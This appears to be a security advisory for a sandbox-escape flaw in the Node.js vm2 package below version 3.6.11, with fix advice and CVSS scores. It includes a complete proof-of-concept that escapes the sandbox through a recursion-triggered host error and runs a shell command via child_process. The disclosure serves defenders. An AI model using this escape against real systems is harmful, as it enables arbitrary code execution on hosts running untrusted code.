Sandbox Bypass Affecting vm2 package, versions <3.6.11


Severity

0.0
high
0
10

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.17% (54th percentile)

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  • Snyk ID SNYK-JS-VM2-473188
  • published 16 Oct 2019
  • disclosed 7 Apr 2019
  • credit XmiliaH

How to fix?

Upgrade vm2 to version 3.6.11 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Sandbox Bypass. It is possible to trigger a RangeError exception from the host rather than the "sandboxed" context by reaching the stack call limit with an infinite recursion. The returned object is then used to reference the mainModule property of the host code running the script allowing it to spawn a child_process and execute arbitrary code.

PoC by XmiliaH

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
        length: 10,
        utf8Write(){
            
        }
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

CVSS Scores

version 3.1
Expand this section

Snyk

8.3 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

8.3 high